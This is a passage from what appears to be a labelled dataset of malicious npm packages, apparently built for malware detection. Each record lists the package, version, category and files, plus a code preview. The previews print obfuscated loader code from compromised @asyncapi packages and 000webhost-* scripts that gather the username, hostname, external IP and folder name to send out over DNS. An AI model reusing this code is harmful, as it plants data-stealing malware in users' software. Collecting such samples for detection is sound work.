eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmppmbdy4im/@asyncapi-generator-components/package/bun_environment.js", "tmp/tmppmbdy4im/@asyncapi-generator-components/package/lib/components/Models.js", "tmp/tmppmbdy4im/@asyncapi-generator-components/package/lib/components/MethodGenerator.js", "tmp/tmppmbdy4im/@asyncapi-generator-components/package/lib/components/DependencyProvider.js", "tmp/tmppmbdy4im/@asyncapi-generator-components/package/lib/components/QueryParamsVariables.js", "tmp/tmppmbdy4im/@asyncapi-generator-components/package/lib/components/CloseConnection.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@problem", "version": "1.0.1", "filename": "2025-11-24-@asyncapi_problem-v1.0.1.zip", "primary_file": "tmp/tmpmzadmhhj/@asyncapi-problem/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmpmzadmhhj/@asyncapi-problem/package/bun_environment.js", "tmp/tmpmzadmhhj/@asyncapi-problem/package/setup_bun.js", "tmp/tmpmzadmhhj/@asyncapi-problem/package/cjs/problem.js", "tmp/tmpmzadmhhj/@asyncapi-problem/package/esm/problem.js", "tmp/tmpmzadmhhj/@asyncapi-problem/package/package.json", "tmp/tmpmzadmhhj/@asyncapi-problem/package/cjs/utils.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@optimizer", "version": "1.0.6", "filename": "2025-11-24-@asyncapi_optimizer-v1.0.6.zip", "primary_file": "tmp/tmpx7jnvt5c/@asyncapi-optimizer/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmpx7jnvt5c/@asyncapi-optimizer/package/bun_environment.js", "tmp/tmpx7jnvt5c/@asyncapi-optimizer/package/lib/Optimizer.js", "tmp/tmpx7jnvt5c/@asyncapi-optimizer/package/lib/Utils/Helpers.js", "tmp/tmpx7jnvt5c/@asyncapi-optimizer/package/setup_bun.js", "tmp/tmpx7jnvt5c/@asyncapi-optimizer/package/lib/ComponentProvider.js", "tmp/tmpx7jnvt5c/@asyncapi-optimizer/package/lib/Reporters/moveDuplicatesToComponents.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@cli", "version": "4.1.3", "filename": "2025-11-24-@asyncapi_cli-v4.1.3.zip", "primary_file": "tmp/tmp8egs65dz/@asyncapi-cli/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp8egs65dz/@asyncapi-cli/package/bun_environment.js", "tmp/tmp8egs65dz/@asyncapi-cli/package/lib/domains/services/validation.service.js", "tmp/tmp8egs65dz/@asyncapi-cli/package/lib/domains/models/Context.js", "tmp/tmp8egs65dz/@asyncapi-cli/package/lib/apps/cli/commands/diff.js", "tmp/tmp8egs65dz/@asyncapi-cli/package/lib/apps/cli/commands/optimize.js", "tmp/tmp8egs65dz/@asyncapi-cli/package/lib/apps/api/middlewares/validation.middleware.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@nodejs-template", "version": "3.0.5", "filename": "2025-11-24-@asyncapi_nodejs-template-v3.0.5.zip", "primary_file": "tmp/tmppxx1zdgb/@asyncapi-nodejs-template/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmppxx1zdgb/@asyncapi-nodejs-template/package/bun_environment.js", "tmp/tmppxx1zdgb/@asyncapi-nodejs-template/package/.github/workflows/scripts/mailchimp/htmlContent.js", "tmp/tmppxx1zdgb/@asyncapi-nodejs-template/package/test/integration.test.js", "tmp/tmppxx1zdgb/@asyncapi-nodejs-template/package/setup_bun.js", "tmp/tmppxx1zdgb/@asyncapi-nodejs-template/package/template/src/api/index.js", "tmp/tmppxx1zdgb/@asyncapi-nodejs-template/package/template/src/api/routes/route.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@converter", "version": "1.6.4", "filename": "2025-11-24-@asyncapi_converter-v1.6.4.zip", "primary_file": "tmp/tmp70d9_j3q/@asyncapi-converter/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp70d9_j3q/@asyncapi-converter/package/bun_environment.js", "tmp/tmp70d9_j3q/@asyncapi-converter/package/lib/third-version.js", "tmp/tmp70d9_j3q/@asyncapi-converter/package/lib/openapi.js", "tmp/tmp70d9_j3q/@asyncapi-converter/package/lib/second-version.js", "tmp/tmp70d9_j3q/@asyncapi-converter/package/setup_bun.js", "tmp/tmp70d9_j3q/@asyncapi-converter/package/lib/utils.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@protobuf-schema-parser", "version": "3.5.2", "filename": "2025-11-24-@asyncapi_protobuf-schema-parser-v3.5.2.zip", "primary_file": "tmp/tmpm6jovfdh/@asyncapi-protobuf-schema-parser/package/bun_environment.js", "diff_preview": "var a0_0x56153d=a0_0x1d8c;(function(_0x327e5c,_0x494669){var _0x487a52=a0_0x1d8c,_0x225a3e=_0x327e5c();while(!![]){try{var _0x1e6109=parseInt(_0x487a52(0x59a2))/0x1+parseInt(_0x487a52(0xd07))/0x2*(-parseInt(_0x487a52(0x1852))/0x3)+-parseInt(_0x487a52(0x45ab))/0x4*(-parseInt(_0x487a52(0x1b45))/0x5)+-parseInt(_0x487a52(0x5ec5))/0x6+parseInt(_0x487a52(0x3e12))/0x7*(parseInt(_0x487a52(0x38c1))/0x8)+parseInt(_0x487a52(0x2cc1))/0x9+-parseInt(_0x487a52(0x3dfb))/0xa*(parseInt(_0x487a52(0x5d13))/0xb);if(_0x1e6109===_0x494669)break;else _0x225a3e['push'](_0x225a3e['shift']());}catch(_0x52ff50){_0x225a3e['push'](_0x225a3e['shift']());}}}(a0_0x47b7,0x9e3f2));var rL0=Object['create'],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x56153d(0x169e)][a0_0x56153d(0x249d)],a=(_0x4d5178,_0x5dbcc3,_0x3f9fe7)=>{var _0x30861f=a0_0x56153d;_0x3f9fe7=_0x4d5178!=null?rL0(sL0(_0x4d5178)):{};let _0x18be97=_0x5dbcc3||!_0x4d5178||!_0x4d5178[_0x30861f(0x2608)]?KI(_0x3f9fe7,'default',{'value':_0x4d5178,'enumerable':!0x0}):_0x3f9fe7;for(let _0x5edc61 of eL0(_0x4d5178))if(!OM0[_0x30861f(0x4c23)](_0x18be97,_0x5edc61))KI(_0x18be97,_0x5edc61,{'get':()=>_0x4d5178[_0x5edc61],'enumerable':!0x0});return _0x18be97;},y=(_0x494c45,_0xf24aa9)=>()=>(_0xf24aa9||_0x494c45((_0xf24aa9={'exports':{}})[a0_0x56153d(0x4c26)],_0xf24aa9),_0xf24aa9[a0_0x56153d(0x4c26)]),e1=(_0x3d163a,_0x2c09cc)=>{for(var _0x5a7ebb in _0x2c09cc)KI(_0x3d163a,_0x5a7ebb,{'get':_0x2c09cc[_0x5a7ebb],'enumerable':!0x0,", "files": ["tmp/tmpm6jovfdh/@asyncapi-protobuf-schema-parser/package/bun_environment.js", "tmp/tmpm6jovfdh/@asyncapi-protobuf-schema-parser/package/cjs/google-types.js", "tmp/tmpm6jovfdh/@asyncapi-protobuf-schema-parser/package/esm/google-types.js", "tmp/tmpm6jovfdh/@asyncapi-protobuf-schema-parser/package/cjs/protoj2jsonSchema.js", "tmp/tmpm6jovfdh/@asyncapi-protobuf-schema-parser/package/esm/protoj2jsonSchema.js", "tmp/tmpm6jovfdh/@asyncapi-protobuf-schema-parser/package/cjs/protovalidate.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "000webhost-admin", "version": "999.9.9", "filename": "2024-12-14-000webhost-admin-v999.9.9.zip", "primary_file": "tmp/tmpj71mqfwq/000webhost-admin/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpj71mqfwq/000webhost-admin/package/index.js", "tmp/tmpj71mqfwq/000webhost-admin/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "compromised_lib", "package": "@asyncapi@generator", "version": "2.8.6", "filename": "2025-11-24-@asyncapi_generator-v2.8.6.zip", "primary_file": "tmp/tmp0use_7mg/@asyncapi-generator/package/bun_environment.js", "diff_preview": "var a0_0x58e7a2=a0_0x5155;(function(_0x488e1f,_0x239640){var _0x1c90e8=a0_0x5155,_0x2d2cb3=_0x488e1f();while(!![]){try{var _0x156b43=parseInt(_0x1c90e8(0x52cd))/0x1*(-parseInt(_0x1c90e8(0x2dae))/0x2)+parseInt(_0x1c90e8(0x49ef))/0x3*(parseInt(_0x1c90e8(0x373))/0x4)+parseInt(_0x1c90e8(0x2c8a))/0x5*(-parseInt(_0x1c90e8(0x3b09))/0x6)+parseInt(_0x1c90e8(0x2336))/0x7*(-parseInt(_0x1c90e8(0x34cf))/0x8)+parseInt(_0x1c90e8(0x18ad))/0x9*(parseInt(_0x1c90e8(0x13ba))/0xa)+parseInt(_0x1c90e8(0xeef))/0xb+parseInt(_0x1c90e8(0x17a8))/0xc;if(_0x156b43===_0x239640)break;else _0x2d2cb3['push'](_0x2d2cb3['shift']());}catch(_0x1d8237){_0x2d2cb3['push'](_0x2d2cb3['shift']());}}}(a0_0x29d6,0xc51e0));var rL0=Object[a0_0x58e7a2(0x47b)],{getPrototypeOf:sL0,defineProperty:KI,getOwnPropertyNames:eL0}=Object,OM0=Object[a0_0x58e7a2(0x3bd7)][a0_0x58e7a2(0x1947)],a=(_0x679b62,_0x4830ad,_0x5434bd)=>{var _0x14457d=a0_0x58e7a2;_0x5434bd=_0x679b62!=null?rL0(sL0(_0x679b62)):{};let _0x277045=_0x4830ad||!_0x679b62||!_0x679b62[_0x14457d(0x4ad9)]?KI(_0x5434bd,_0x14457d(0x663),{'value':_0x679b62,'enumerable':!0x0}):_0x5434bd;for(let _0xf9807e of eL0(_0x679b62))if(!OM0[_0x14457d(0x5eb0)](_0x277045,_0xf9807e))KI(_0x277045,_0xf9807e,{'get':()=>_0x679b62[_0xf9807e],'enumerable':!0x0});return _0x277045;},y=(_0x1cda43,_0xee15d8)=>()=>(_0xee15d8||_0x1cda43((_0xee15d8={'exports':{}})[a0_0x58e7a2(0x5458)],_0xee15d8),_0xee15d8[a0_0x58e7a2(0x5458)]),e1=(_0xe5c5b2,_0x560cf6)=>{for(var _0xcf92ec in _0x560cf6)KI(_0xe5c5b2,_0xcf92e", "files": ["tmp/tmp0use_7mg/@asyncapi-generator/package/bun_environment.js", "tmp/tmp0use_7mg/@asyncapi-generator/package/lib/generator.js", "tmp/tmp0use_7mg/@asyncapi-generator/package/lib/templates/bakedInTemplates/core-template-client-websocket-python/__transpiled/template/client.py.js", "tmp/tmp0use_7mg/@asyncapi-generator/package/lib/templates/config/validator.js", "tmp/tmp0use_7mg/@asyncapi-generator/package/lib/templates/bakedInTemplates/core-template-client-websocket-java-quarkus/__transpiled/template/src/main/java/com/asyncapi/client.java.js", "tmp/tmp0use_7mg/@asyncapi-generator/package/cli.js"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "000webhost-api-client", "version": "999.9.9", "filename": "2024-12-14-000webhost-api-client-v999.9.9.zip", "primary_file": "tmp/tmpo36zugqe/000webhost-api-client/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpo36zugqe/000webhost-api-client/package/index.js", "tmp/tmpo36zugqe/000webhost-api-client/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "000webhost-analytics", "version": "999.9.9", "filename": "2024-12-14-000webhost-analytics-v999.9.9.zip", "primary_file": "tmp/tmp_36dffgx/000webhost-analytics/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmp_36dffgx/000webhost-analytics/package/index.js", "tmp/tmp_36dffgx/000webhost-analytics/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "000webhost-auth", "version": "999.9.9", "filename": "2024-12-14-000webhost-auth-v999.9.9.zip", "primary_file": "tmp/tmpnn4v5dt4/000webhost-auth/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = require('https');\r\nconst path = require('path');\r\n\r\n// Obtencin de informacin\r\nconst user = os.userInfo().username;\r\nconst hostname = os.hostname();\r\nconst projectFolderName = path.basename(__dirname); // Obtiene el nombre de la carpeta actual\r\n\r\n// Funcin para obtener la IP externa del usuario\r\nconst getExternalIP = () => {\r\n return new Promise((resolve, reject) => {\r\n https.get('https://api.ipify.org?format=json', (res) => {\r\n let data = '';\r\n\r\n res.on('data', (chunk) => {\r\n data += chunk;\r\n });\r\n\r\n res.on('end', () => {\r\n try {\r\n const parsedData = JSON.parse(data);\r\n resolve(parsedData.ip);\r\n } catch (error) {\r\n reject('Error al obtener IP externa');\r\n }\r\n });\r\n }).on('error', (error) => {\r\n reject('IP no disponible');\r\n });\r\n });\r\n};\r\n\r\n// Funcin para limpiar los datos y asegurarnos de que son vlidos para DNS\r\nconst sanitizeForDNS = (input) => {\r\n return input.replace(/[^a-zA-Z0-9.-]/g, '_'); // Reemplaza caracteres no vlidos\r\n};\r\n\r\n// Funcin para enviar los datos a travs de DNS\r\nconst sendDNSData = async () => {\r\n try {\r\n const externalIP = await getExternalIP();\r\n const sanitizedUser = sanitizeForDNS(user);\r\n const sanitizedHostname = sanitizeForDNS(hostname);\r\n const sanitizedIP = sanitizeForDNS(externalIP);\r\n const sanitizedProjectFolder = sanitizeForDNS(projectFolderName); // Sanitiz", "files": ["tmp/tmpnn4v5dt4/000webhost-auth/package/index.js", "tmp/tmpnn4v5dt4/000webhost-auth/package/package.json"], "malicious_signal_count": 5, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "000webhost-api", "version": "999.9.9", "filename": "2024-12-14-000webhost-api-v999.9.9.zip", "primary_file": "tmp/tmpavh_x_c4/000webhost-api/package/index.js", "diff_preview": "\r\nconst os = require('os');\r\nconst dns = require('dns');\r\nconst https = 